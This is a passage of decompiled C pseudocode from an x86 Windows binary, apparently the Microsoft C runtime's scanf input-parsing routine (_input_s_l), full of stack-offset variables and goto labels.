				void* _t1277;
				void* _t1278;
				void* _t1279;
				void* _t1282;
				void* _t1286;
				void* _t1288;

				L0:
				while(1) {
					L0:
					_t1273 = __edi;
					 *(_t1275 - 0x10) = 0;
					if( *(_t1275 - 0x21c) != 0x2d) {
						goto L269;
					}
					L268:
					 *((intOrPtr*)(__ebp - 0x84)) =  *((intOrPtr*)(__ebp - 0x84)) +  *((intOrPtr*)(__ebp - 0x10));
					 *((char*)( *((intOrPtr*)(__ebp - 0x84)) +  *((intOrPtr*)(__ebp - 0x10)))) = 0x2d;
					 *((intOrPtr*)(__ebp - 0x10)) =  *((intOrPtr*)(__ebp - 0x10)) + 1;
					 *((intOrPtr*)(__ebp - 0x10)) =  *((intOrPtr*)(__ebp - 0x10)) + 1;
					L270:
					 *(_t1275 - 0x78) =  *(_t1275 - 0x78) - 1;
					_t1272 =  *(_t1275 - 0xc) + 1;
					 *(_t1275 - 0xc) = _t1272;
					_t1019 = E00426CD0( *(_t1275 - 0x78) - 1,  *(_t1275 + 8));
					_t1277 = _t1277 + 4;
					 *(_t1275 - 0x21c) = _t1019;
					L271:
					if( *(_t1275 - 0x1f0) == 0) {
						 *(_t1275 - 0x78) = 0xffffffff;
					}
					while(1) {
						L273:
						_t818 = E00432740(_t1020, _t1273, _t1274,  *(_t1275 - 0x21c) & 0x000000ff);
						_t1278 = _t1277 + 4;
						if(_t818 == 0) {
							break;
						}
						L274:
						 *(_t1275 - 0x78) =  *(_t1275 - 0x78) - 1;
						if( *(_t1275 - 0x78) == 0) {
							break;
						}
						L275:
						 *(_t1275 - 0x1f4) =  *(_t1275 - 0x1f4) + 1;
						 *((char*)( *(_t1275 - 0x84) +  *(_t1275 - 0x10))) =  *(_t1275 - 0x21c);
						 *(_t1275 - 0x10) =  *(_t1275 - 0x10) + 1;
						_t1163 = _t1275 - 0x204;
						_t1016 = E00426B90(_t1020, _t1275 - 0x84, _t1273, _t1274,  *(_t1275 - 0x10), _t1275 - 0x204, _t1275 - 0x84, _t1275 - 0x1e8, _t1275 - 0x28);
						_t1277 = _t1278 + 0x14;
						if(_t1016 != 0) {
							L277:
							 *(_t1275 - 0xc) =  *(_t1275 - 0xc) + 1;
							_t1017 = E00426CD0( *(_t1275 - 0xc) + 1,  *(_t1275 + 8));
							_t1277 = _t1277 + 4;
							 *(_t1275 - 0x21c) = _t1017;
							continue;
						}
						L276:
						L334:
						if( *((intOrPtr*)(_t1275 - 0x28)) == 1) {
							L0041D8B0( *(_t1275 - 0x84), 2);
							_t1277 = _t1277 + 8;
						}
						if( *(_t1275 - 0x21c) != 0xffffffff) {
							L342:
							if( *(_t1275 - 0x24) != 1) {
								L351:
								_t1163 =  *(_t1275 - 8);
								 *(_t1275 - 0x24c) =  *(_t1275 - 8);
								E0041EA10(_t1275 - 0x214);
								_t825 =  *(_t1275 - 0x24c);
								goto L352;
							}
							L343:
							if(0 == 0) {
								 *(_t1275 - 0x278) = 0;
							} else {
								 *(_t1275 - 0x278) = 1;
							}
							_t1163 =  *(_t1275 - 0x278);
							 *(_t1275 - 0x240) =  *(_t1275 - 0x278);
							if( *(_t1275 - 0x240) == 0) {
								_push(L"(\"Invalid Input Format\",0)");
								_push(0);
								_push(0x563);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
								_push(2);
								_t830 = L0041F590();
								_t1277 = _t1277 + 0x14;
								if(_t830 == 1) {
									asm("int3");
								}
							}
							if( *(_t1275 - 0x240) != 0) {
								goto L351;
							} else {
								L350:
								 *((intOrPtr*)(L0041F530(0))) = 0x16;
								E0041F2C0(_t1020, 0, _t1273, _t1274, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x563, 0);
								 *(_t1275 - 0x248) =  *(_t1275 - 8);
								E0041EA10(_t1275 - 0x214);
								_t825 =  *(_t1275 - 0x248);
								goto L352;
							}
						} else {
							L337:
							if( *(_t1275 - 8) != 0) {
								L340:
								_t1163 =  *(_t1275 - 8);
								 *(_t1275 - 0x274) =  *(_t1275 - 8);
								L341:
								 *(_t1275 - 0x244) =  *(_t1275 - 0x274);
								E0041EA10(_t1275 - 0x214);
								_t825 =  *(_t1275 - 0x244);
								L352:
								return E004242B0(_t825, _t1020,  *(_t1275 - 0x50) ^ _t1275, _t1163, _t1273, _t1274);
							}
							L338:
							if( *(_t1275 - 0x1e9) != 0) {
								goto L340;
							}
							L339:
							 *(_t1275 - 0x274) = 0xffffffff;
							goto L341;
						}
					}
					L278:
					_t820 = E00425070(_t1275 - 0x214);
					_t1279 = _t1278 + 4;
					 *((char*)(_t1275 - 1)) =  *((intOrPtr*)( *_t820));
					if( *((char*)(_t1275 - 1)) !=  *(_t1275 - 0x21c)) {
						L287:
						if( *(_t1275 - 0x1f4) == 0) {
							L306:
							_t1163 =  *(_t1275 - 0xc) - 1;
							 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
							E00426D30( *(_t1275 - 0x21c),  *(_t1275 + 8));
							_t1277 = _t1279 + 8;
							if( *(_t1275 - 0x1f4) == 0) {
								L310:
								goto L334;
							}
							L307:
							if( *((char*)(_t1275 - 0x12)) == 0) {
								 *(_t1275 - 8) =  *(_t1275 - 8) + 1;
								 *((char*)( *(_t1275 - 0x84) +  *(_t1275 - 0x10))) = 0;
								_push(E0041EA40(_t1275 - 0x214));
								_push( *(_t1275 - 0x84));
								_push( *(_t1275 - 0x7c));
								_t1123 =  *((char*)(_t1275 - 0x1d)) - 1;
								_push(_t1123);
								_t1242 =  *0x43de8c; // 0xfb3c7abe
								 *((intOrPtr*)(E00427990(_t1242)))();
								_t1277 = _t1277 + 0x14;
							}
							while(1) {
								L317:
								 *(_t1275 - 0x1e9) =  *(_t1275 - 0x1e9) + 1;
								 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
								while(1) {
									L329:
									if( *(_t1275 - 0x21c) != 0xffffffff) {
										goto L333;
									}
									L330:
									_t1163 =  *(_t1275 + 0xc);
									if(( *( *(_t1275 + 0xc)) & 0x000000ff) != 0x25) {
										L332:
										goto L334;
									}
									L331:
									_t1037 =  *(_t1275 + 0xc);
									_t1163 =  *(_t1037 + 1) & 0x000000ff;
									if(( *(_t1037 + 1) & 0x000000ff) == 0x6e) {
										goto L333;
									}
									goto L332;
									L333:
									while(1) {
										L1:
										_t1163 =  *(_t1275 + 0xc);
										if(( *( *(_t1275 + 0xc)) & 0x000000ff) == 0) {
											goto L334;
										}
										L2:
										_t838 = E004328C0(_t1020, _t1273, _t1274,  *( *(_t1275 + 0xc)) & 0x000000ff);
										_t1277 = _t1277 + 4;
										if(_t838 == 0) {
											L6:
											if(( *( *(_t1275 + 0xc)) & 0x000000ff) != 0x25) {
												L320:
												if(( *( *(_t1275 + 0xc)) & 0x000000ff) == 0x25) {
													_t858 =  *(_t1275 + 0xc);
													if(( *(_t858 + 1) & 0x000000ff) == 0x25) {
														_t1177 =  *(_t1275 + 0xc) + 1;
														 *(_t1275 + 0xc) = _t1177;
													}
												}
												 *(_t1275 - 0xc) =  *(_t1275 - 0xc) + 1;
												_t842 = E00426CD0( *(_t1275 + 8),  *(_t1275 + 8));
												_t1282 = _t1277 + 4;
												 *(_t1275 - 0x21c) = _t842;
												 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
												if(( *( *(_t1275 + 0xc)) & 0x000000ff) ==  *(_t1275 - 0x21c)) {
													L325:
													_t845 = E0042F0A0( *(_t1275 - 0x21c) & 0x000000ff);
													_t1277 = _t1282 + 4;
													if(_t845 == 0) {
														do {
															L329:
															if( *(_t1275 - 0x21c) != 0xffffffff) {
																goto L333;
															}
															goto L330;
														} while (_t845 == 0);
													}
													L326:
													 *(_t1275 - 0xc) =  *(_t1275 - 0xc) + 1;
													_t847 = E00426CD0( *(_t1275 - 0xc) + 1,  *(_t1275 + 8));
													_t1277 = _t1277 + 4;
													 *((intOrPtr*)(_t1275 - 0x23c)) = _t847;
													 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
													if(( *( *(_t1275 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1275 - 0x23c))) {
														L328:
														_t1042 =  *(_t1275 - 0xc) - 1;
														 *(_t1275 - 0xc) = _t1042;
														goto L329;
													}
													L327:
													 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
													E00426D30( *((intOrPtr*)(_t1275 - 0x23c)),  *(_t1275 + 8));
													 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
													_t1163 =  *(_t1275 + 8);
													E00426D30( *(_t1275 - 0x21c),  *(_t1275 + 8));
													_t1277 = _t1277 + 0x10;
												} else {
													L324:
													 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
													_t1163 =  *(_t1275 - 0x21c);
													E00426D30( *(_t1275 - 0x21c),  *(_t1275 + 8));
													_t1277 = _t1282 + 8;
												}
												goto L334;
											}
											L7:
											_t1049 =  *(_t1275 + 0xc);
											if(( *(_t1049 + 1) & 0x000000ff) == 0x25) {
												goto L320;
											} else {
												 *(_t1275 - 0x220) = 0;
												 *((char*)(_t1275 - 0x7d)) = 0;
												 *(_t1275 - 0x1f4) = 0;
												 *(_t1275 - 0x1f0) =  *(_t1275 - 0x1f4);
												 *(_t1275 - 0x78) =  *(_t1275 - 0x1f0);
												 *(_t1275 - 0x18) = 0;
												 *(_t1275 - 0x34) =  *(_t1275 - 0x18);
												 *(_t1275 - 0x40) = 0;
												 *(_t1275 - 3) = 0;
												 *((char*)(_t1275 - 2)) =  *(_t1275 - 3);
												 *((char*)(_t1275 - 0x12)) =  *((intOrPtr*)(_t1275 - 2));
												 *(_t1275 - 0x1e) =  *((intOrPtr*)(_t1275 - 0x12));
												 *(_t1275 - 0x29) =  *(_t1275 - 0x1e);
												 *(_t1275 - 0x215) = 0;
												 *((char*)(_t1275 - 0x1d)) = 1;
												 *(_t1275 - 0x30) = 0;
												while(1) {
													L9:
													if( *(_t1275 - 0x1e) != 0) {
														break;
													}
													L10:
													 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
													 *(_t1275 - 0x44) =  *( *(_t1275 + 0xc)) & 0x000000ff;
													_t948 = E00432740(_t1020, _t1273, _t1274,  *(_t1275 - 0x44) & 0x000000ff);
													_t1277 = _t1277 + 4;
													if(_t948 == 0) {
														L12:
														 *(_t1275 - 0x25c) =  *(_t1275 - 0x44);
														 *(_t1275 - 0x25c) =  *(_t1275 - 0x25c) - 0x2a;
														if( *(_t1275 - 0x25c) > 0x4d) {
															L39:
															_t951 =  *(_t1275 - 0x1e) + 1;
															 *(_t1275 - 0x1e) = _t951;
															goto L40;
														}
														L13:
														_t64 =  *(_t1275 - 0x25c) + 0x426af8; // 0x1eff8b06
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00426AD8))) {
															case 0:
																L38:
																 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																goto L40;
															case 1:
																L14:
																goto L40;
															case 2:
																L16:
																__eax =  *(__ebp + 0xc);
																__ecx =  *(__eax + 1) & 0x000000ff;
																__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																	L19:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																	__eflags = __ecx - 0x33;
																	if(__ecx != 0x33) {
																		L22:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *(__edx + 1) & 0x000000ff;
																		__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																		if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																			L27:
																			__eax = 0;
																			__eflags = 0;
																			if(0 != 0) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 0x30) = __ecx;
																				 *(__ebp - 0x200) = 0;
																				 *(__ebp - 0x1fc) = 0;
																			}
																			L29:
																			goto L40;
																		}
																		L23:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *(__ecx + 1) & 0x000000ff;
																		__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x69;
																		if(( *(__ecx + 1) & 0x000000ff) == 0x69) {
																			goto L27;
																		}
																		L24:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L27;
																		}
																		L25:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *(__edx + 1) & 0x000000ff;
																		__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
																		if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																			goto L27;
																		}
																		L26:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *(__ecx + 1) & 0x000000ff;
																		__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x58;
																		if(( *(__ecx + 1) & 0x000000ff) != 0x58) {
																			__edx = 0;
																			__eflags = 0;
																			if(0 != 0) {
																				__eax =  *(__ebp - 0x30);
																				__eax =  *(__ebp - 0x30) + 1;
																				__eflags = __eax;
																				 *(__ebp - 0x30) = __eax;
																				 *(__ebp - 0x200) = 0;
																				 *(__ebp - 0x1fc) = 0;
																			}
																			goto L39;
																		}
																		goto L27;
																	}
																	L20:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *(__edx + 2) & 0x000000ff;
																	__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																	if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																		goto L22;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		goto L40;
																	}
																}
																L17:
																__edx =  *(__ebp + 0xc);
																__eax =  *(__edx + 2) & 0x000000ff;
																__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																	goto L19;
																} else {
																	__ecx =  *(__ebp + 0xc);
																	__ecx =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) = __ecx;
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																	 *(__ebp - 0x200) = 0;
																	 *(__ebp - 0x1fc) = 0;
																	goto L40;
																}
															case 3:
																L33:
																__cl =  *(__ebp - 0x1d);
																__cl =  *(__ebp - 0x1d) + 1;
																 *(__ebp - 0x1d) = __cl;
																goto L40;
															case 4:
																L15:
																__cl =  *(__ebp - 0x1d);
																__cl =  *(__ebp - 0x1d) - 1;
																 *(__ebp - 0x1d) = __cl;
																 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																goto L40;
															case 5:
																L34:
																__edx =  *(__ebp + 0xc);
																__eax =  *(__edx + 1) & 0x000000ff;
																__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																	__al =  *(__ebp - 0x1d);
																	__al =  *(__ebp - 0x1d) + 1;
																	__eflags = __al;
																	 *(__ebp - 0x1d) = __al;
																	goto L37;
																} else {
																	__ecx =  *(__ebp + 0xc);
																	__ecx =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) = __ecx;
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																	 *(__ebp - 0x200) = 0;
																	 *(__ebp - 0x1fc) = 0;
																	goto L40;
																}
															case 6:
																L37:
																__cl =  *(__ebp - 0x215);
																__cl =  *(__ebp - 0x215) + 1;
																 *(__ebp - 0x215) = __cl;
																goto L40;
															case 7:
																goto L39;
														}
													} else {
														 *(_t1275 - 0x1f0) =  *(_t1275 - 0x1f0) + 1;
														 *(_t1275 - 0x78) =  *(_t1275 - 0x44) + ( *(_t1275 - 0x78) +  *(_t1275 - 0x78) * 4) * 2 - 0x30;
														L40:
														continue;
													}
												}
												L41:
												if( *((char*)(_t1275 - 0x12)) != 0) {
													 *(_t1275 - 0x7c) = 0;
												} else {
													 *((intOrPtr*)(_t1275 - 0x1c)) =  *((intOrPtr*)(_t1275 + 0x14));
													 *((intOrPtr*)(_t1275 + 0x14)) =  *((intOrPtr*)(_t1275 + 0x14)) + 4;
													 *(_t1275 - 0x7c) =  *( *((intOrPtr*)(_t1275 + 0x14)) - 4);
												}
												 *(_t1275 - 0x1e) = 0;
												if( *(_t1275 - 0x215) != 0) {
													L49:
													_t1054 =  *(_t1275 + 0xc);
													_t1163 =  *( *(_t1275 + 0xc)) & 0x000000ff | 0x00000020;
													 *(_t1275 - 0x44) =  *( *(_t1275 + 0xc)) & 0x000000ff | 0x00000020;
													if( *(_t1275 - 0x44) == 0x6e) {
														L54:
														if( *(_t1275 - 0x44) == 0x6e) {
															L57:
															if( *(_t1275 - 0x1f0) == 0) {
																L59:
																if( *((char*)(_t1275 - 0x12)) != 0) {
																	L68:
																	 *(_t1275 - 0x260) =  *(_t1275 - 0x44);
																	 *(_t1275 - 0x260) =  *(_t1275 - 0x260) - 0x63;
																	if( *(_t1275 - 0x260) > 0x18) {
																		L312:
																		if(( *( *(_t1275 + 0xc)) & 0x000000ff) ==  *(_t1275 - 0x21c)) {
																			L314:
																			_t1183 =  *(_t1275 - 0x1e9) - 1;
																			 *(_t1275 - 0x1e9) = _t1183;
																			if( *((char*)(_t1275 - 0x12)) == 0) {
																				 *((intOrPtr*)(_t1275 + 0x14)) =  *((intOrPtr*)(_t1275 - 0x1c));
																			}
																			while(1) {
																				L317:
																				 *(_t1275 - 0x1e9) =  *(_t1275 - 0x1e9) + 1;
																				 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
																				goto L329;
																			}
																		}
																		L313:
																		_t1163 =  *(_t1275 - 0xc) - 1;
																		 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
																		E00426D30( *(_t1275 - 0x21c),  *(_t1275 + 8));
																		_t1277 = _t1277 + 8;
																		 *(_t1275 - 0x24) = 1;
																		goto L334;
																	}
																	L69:
																	_t186 =  *(_t1275 - 0x260) + 0x426b70; // 0xcccccc08
																	switch( *((intOrPtr*)(( *_t186 & 0x000000ff) * 4 +  &M00426B48))) {
																		case 0:
																			L70:
																			__eflags =  *(_t1275 - 0x1f0);
																			if( *(_t1275 - 0x1f0) == 0) {
																				 *(_t1275 - 0x1f0) =  *(_t1275 - 0x1f0) + 1;
																				_t1223 =  *(_t1275 - 0x78) + 1;
																				__eflags = _t1223;
																				 *(_t1275 - 0x78) = _t1223;
																			}
																			L72:
																			__eflags =  *(_t1275 - 0x215);
																			if( *(_t1275 - 0x215) > 0) {
																				_t1098 =  *(_t1275 - 0x29) + 1;
																				__eflags = _t1098;
																				 *(_t1275 - 0x29) = _t1098;
																			}
																			L74:
																			goto L103;
																		case 1:
																			L191:
																			__eflags =  *(__ebp - 0x21c) - 0x2d;
																			if( *(__ebp - 0x21c) != 0x2d) {
																				L193:
																				__eflags =  *(__ebp - 0x21c) - 0x2b;
																				if( *(__ebp - 0x21c) != 0x2b) {
																					goto L198;
																				}
																				L194:
																				__ecx =  *(__ebp - 0x78);
																				__ecx =  *(__ebp - 0x78) - 1;
																				__eflags = __ecx;
																				 *(__ebp - 0x78) = __ecx;
																				if(__ecx != 0) {
																					L197:
																					__eax =  *(__ebp - 0xc);
																					__eax =  *(__ebp - 0xc) + 1;
																					__eflags = __eax;
																					 *(__ebp - 0xc) = __eax;
																					__ecx =  *(__ebp + 8);
																					 *(__ebp - 0x21c) = E00426CD0(__ecx, __ecx);
																					goto L198;
																				}
																				L195:
																				__eflags =  *(__ebp - 0x1f0);
																				if( *(__ebp - 0x1f0) == 0) {
																					goto L197;
																				}
																				L196:
																				 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																				 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																				goto L198;
																			}
																			L192:
																			__al =  *(__ebp - 2);
																			__al =  *(__ebp - 2) + 1;
																			 *(__ebp - 2) = __al;
																			goto L194;
																		case 2:
																			goto L0;
																		case 3:
																			L168:
																			 *((intOrPtr*)(__ebp - 0x44)) = 0x64;
																			goto L169;
																		case 4:
																			L265:
																			__eax =  *(__ebp - 0xc);
																			 *(__ebp - 0x220) =  *(__ebp - 0xc);
																			__ecx =  *((char*)(__ebp - 0x12));
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				L267:
																				L317:
																				 *(_t1275 - 0x1e9) =  *(_t1275 - 0x1e9) + 1;
																				 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
																				goto L329;
																			}
																			L266:
																			goto L257;
																		case 5:
																			L190:
																			 *(__ebp - 0x1d) = 1;
																			goto L191;
																		case 6:
																			L75:
																			__edx =  *(__ebp - 0x215);
																			__eflags =  *(__ebp - 0x215);
																			if( *(__ebp - 0x215) > 0) {
																				__al =  *(__ebp - 0x29);
																				__al =  *(__ebp - 0x29) + 1;
																				__eflags = __al;
																				 *(__ebp - 0x29) = __al;
																			}
																			L77:
																			goto L103;
																		case 7:
																			L169:
																			__eflags =  *(__ebp - 0x21c) - 0x2d;
																			if( *(__ebp - 0x21c) != 0x2d) {
																				L171:
																				__eflags =  *(__ebp - 0x21c) - 0x2b;
																				if( *(__ebp - 0x21c) != 0x2b) {
																					L176:
																					__eflags =  *(__ebp - 0x21c) - 0x30;
																					if( *(__ebp - 0x21c) != 0x30) {
																						L189:
																						L198:
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							while(1) {
																								L226:
																								__eax =  *(__ebp - 0x1e);
																								__eflags =  *(__ebp - 0x1e);
																								if( *(__ebp - 0x1e) != 0) {
																									break;
																								}
																								L227:
																								__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																								if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																									L229:
																									__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																									__eax = E00432800(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																									__eflags = __eax;
																									if(__eax == 0) {
																										__cl =  *(__ebp - 0x1e);
																										__cl =  *(__ebp - 0x1e) + 1;
																										__eflags = __cl;
																										 *(__ebp - 0x1e) = __cl;
																									} else {
																										 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																										 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																										__eax =  *(__ebp - 0x21c) & 0x000000ff;
																										 *(__ebp - 0x21c) = E00426C90(__ecx,  *(__ebp - 0x21c) & 0x000000ff);
																									}
																									L242:
																									__eax =  *(__ebp - 0x1e);
																									__eflags =  *(__ebp - 0x1e);
																									if( *(__ebp - 0x1e) != 0) {
																										L248:
																										__eax =  *(__ebp - 0xc);
																										__eax =  *(__ebp - 0xc) - 1;
																										__eflags = __eax;
																										 *(__ebp - 0xc) = __eax;
																										__ecx =  *(__ebp + 8);
																										__edx =  *(__ebp - 0x21c);
																										__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																										L249:
																										continue;
																									}
																									L243:
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									__edx =  *(__ebp - 0x21c);
																									__eax =  *(__ebp - 0x220);
																									__ecx =  *(__ebp - 0x220) +  *(__ebp - 0x21c) - 0x30;
																									 *(__ebp - 0x220) = __ecx;
																									__eflags =  *(__ebp - 0x1f0);
																									if( *(__ebp - 0x1f0) == 0) {
																										L246:
																										__ecx =  *(__ebp - 0xc);
																										__ecx =  *(__ebp - 0xc) + 1;
																										__eflags = __ecx;
																										 *(__ebp - 0xc) = __ecx;
																										__edx =  *(__ebp + 8);
																										 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																										L247:
																										goto L249;
																									}
																									L244:
																									__edx =  *(__ebp - 0x78);
																									__edx =  *(__ebp - 0x78) - 1;
																									__eflags = __edx;
																									 *(__ebp - 0x78) = __edx;
																									if(__edx != 0) {
																										goto L246;
																									}
																									L245:
																									__al =  *(__ebp - 0x1e);
																									__al =  *(__ebp - 0x1e) + 1;
																									 *(__ebp - 0x1e) = __al;
																									goto L247;
																								}
																								L228:
																								__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																								if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																									L233:
																									__edx =  *(__ebp - 0x21c) & 0x000000ff;
																									__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																									__eflags = __eax;
																									if(__eax == 0) {
																										__dl =  *(__ebp - 0x1e);
																										__dl =  *(__ebp - 0x1e) + 1;
																										__eflags = __dl;
																										 *(__ebp - 0x1e) = __dl;
																									} else {
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																										if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																											__edx =  *(__ebp - 0x220);
																											__eax =  *(__ebp - 0x220);
																											__ecx = __eax + __edx * 4;
																											__ecx = __eax + __edx * 4 << 1;
																											__eflags = __ecx;
																											 *(__ebp - 0x220) = __ecx;
																										} else {
																											__eflags =  *(__ebp - 0x21c) - 0x38;
																											if( *(__ebp - 0x21c) >= 0x38) {
																												__cl =  *(__ebp - 0x1e);
																												__cl =  *(__ebp - 0x1e) + 1;
																												__eflags = __cl;
																												 *(__ebp - 0x1e) = __cl;
																											} else {
																												 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																												 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																											}
																										}
																									}
																									goto L242;
																								}
																								goto L229;
																							}
																							L250:
																							__eax =  *(__ebp - 2);
																							__eflags =  *(__ebp - 2);
																							if( *(__ebp - 2) != 0) {
																								__ecx =  *(__ebp - 0x220);
																								__ecx =  ~( *(__ebp - 0x220));
																								 *(__ebp - 0x220) = __ecx;
																							}
																							L252:
																							__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x46;
																							if( *((intOrPtr*)(__ebp - 0x44)) == 0x46) {
																								 *(__ebp - 0x1f4) = 0;
																							}
																							__eflags =  *(__ebp - 0x1f4);
																							if( *(__ebp - 0x1f4) == 0) {
																								L263:
																								goto L334;
																							} else {
																								L255:
																								__edx =  *((char*)(__ebp - 0x12));
																								__eflags =  *((char*)(__ebp - 0x12));
																								if( *((char*)(__ebp - 0x12)) != 0) {
																									L262:
																									while(1) {
																										L317:
																										 *(_t1275 - 0x1e9) =  *(_t1275 - 0x1e9) + 1;
																										 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
																										goto L329;
																									}
																								}
																								L256:
																								__eax =  *(__ebp - 8);
																								__eax =  *(__ebp - 8) + 1;
																								__eflags = __eax;
																								 *(__ebp - 8) = __eax;
																								L257:
																								__eflags =  *(__ebp - 0x30);
																								if( *(__ebp - 0x30) == 0) {
																									__ecx =  *(__ebp - 0x1d);
																									__eflags = __ecx;
																									if(__ecx == 0) {
																										__ecx =  *(__ebp - 0x7c);
																										 *__ecx =  *(__ebp - 0x220);
																									} else {
																										__edx =  *(__ebp - 0x7c);
																										__eax =  *(__ebp - 0x220);
																										 *( *(__ebp - 0x7c)) =  *(__ebp - 0x220);
																									}
																								} else {
																									__ecx =  *(__ebp - 0x7c);
																									__edx =  *(__ebp - 0x200);
																									 *__ecx =  *(__ebp - 0x200);
																									__eax =  *(__ebp - 0x1fc);
																									 *(__ecx + 4) =  *(__ebp - 0x1fc);
																								}
																								goto L262;
																							}
																						} else {
																							goto L199;
																						}
																						while(1) {
																							L199:
																							__edx =  *(__ebp - 0x1e);
																							__eflags =  *(__ebp - 0x1e);
																							if( *(__ebp - 0x1e) != 0) {
																								break;
																							}
																							L200:
																							__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																							if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																								L202:
																								__eax =  *(__ebp - 0x21c) & 0x000000ff;
																								__eax = E00432800(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																								__eflags = __eax;
																								if(__eax == 0) {
																									__dl =  *(__ebp - 0x1e);
																									__dl =  *(__ebp - 0x1e) + 1;
																									__eflags = __dl;
																									 *(__ebp - 0x1e) = __dl;
																								} else {
																									__eax =  *(__ebp - 0x200);
																									__edx =  *(__ebp - 0x1fc);
																									__cl = 4;
																									 *(__ebp - 0x200) = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																									 *(__ebp - 0x1fc) = __edx;
																									__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																									 *(__ebp - 0x21c) = E00426C90( *(__ebp - 0x21c) & 0x000000ff,  *(__ebp - 0x21c) & 0x000000ff);
																								}
																								L215:
																								__eax =  *(__ebp - 0x1e);
																								__eflags =  *(__ebp - 0x1e);
																								if( *(__ebp - 0x1e) != 0) {
																									L221:
																									__eax =  *(__ebp - 0xc);
																									__eax =  *(__ebp - 0xc) - 1;
																									__eflags = __eax;
																									 *(__ebp - 0xc) = __eax;
																									__ecx =  *(__ebp + 8);
																									__edx =  *(__ebp - 0x21c);
																									__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																									L222:
																									continue;
																								}
																								L216:
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x21c) =  *(__ebp - 0x21c) - 0x30;
